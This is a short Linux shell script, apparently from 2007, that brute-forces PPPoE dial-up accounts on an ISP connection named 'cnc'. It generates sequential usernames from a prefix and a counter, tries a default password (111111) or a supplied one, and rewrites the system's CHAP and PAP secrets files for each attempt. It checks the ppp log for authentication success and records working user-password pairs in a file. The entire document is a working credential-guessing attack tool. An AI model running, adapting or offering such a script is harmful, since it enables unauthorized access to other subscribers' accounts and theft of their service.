#!/bin/sh
#Copyright (C) Dong Pu <cocobearc@gmail.com>
#Copyright (C) WANG Cong <xiyou.wangcong@gmail.com>
#GPL v2 applies.
#update bye cocobear at 07.05.11
if (($# <1)) ; then
echo "Wrong usage!"
echo "$0 Number [pass]"
exit 1
fi
if (($UID != 0)); then
echo "Must be root to run the script!"
exit 1
fi
header=111000
tailer=29
median=$1
pass1=111111
pass2=$2
zero=0
UP="/sbin/ifup"
DOWN="/sbin/ifdown"
ETHDOWN="/sbin/ifconfig eth0 down"
ETHUP="/sbin/ifconfig eth0 up"
PPPNAME="cnc"
CHAP="/etc/ppp/chap-secrets"
PAP="/etc/ppp/pap-secrets"
IFCFG="/etc/sysconfig/network-scripts/ifcfg-cnc"
LOG="/var/log/ppplog.conf"
syslog="/etc/syslog.conf"
grep 'daemon' $syslog
daemon=$?
if (($daemon == 1)); then
echo -e "daemon.*\t\t\t\t\t\t$LOG" >> $syslog
fi
while (($tailer <= 99)); do
stailer=$tailer
if (($tailer <= 9)); then
stailer="$zero$tailer"
fi
user="$header$median$stailer"
if [ -z $2 ]; then
pass=$pass1
else
pass=$pass2
fi
REPLACE="\"$user\"\t\"$PPPNAME\"\t\"$pass\"\n\"$user\"\t*\t\"$pass\""
sed '$d' $IFCFG > $IFCFG.tmp
echo "USER=$user" >> $IFCFG.tmp
mv $IFCFG.tmp $IFCFG
echo -n '' > $CHAP
echo -e $REPLACE > $CHAP
echo -n '' > $PAP
echo -e $REPLACE > $PAP
echo -n '' > $LOG
$DOWN $PPPNAME
$UP $PPPNAME >/dev/null 2>&1
sleep 5
grep 'CHAP authentication failed' $LOG
state=$?
grep 'CHAP authentication succeeded' $LOG
ret=$?
grep 'Network is down' $LOG
down=$?
if (($state == 0)); then
echo "$user+$pass failed!"
else
if (($ret == 0)); then
$ETHDOWN
echo "Success:$user---$pass" >> success
sleep 30
$ETHUP
let "tailer+=1"
fi
if (($down == 0)); then
echo "Network is down,now bring up it!"
$ETHUP
else
pppnum=$(ps -e | grep pppd | wc -l)
while (($pppnum >= 2));do
$DOWN $PPPNAME
$ETHDOWN
echo -e "Too many process!\nWaiting pppd down...\n"
sleep 5
pppnum=$(ps -e | grep pppd | wc -l)
done
let "tailer-=1"
fi
fi
let "tailer+=1"
done
exit 0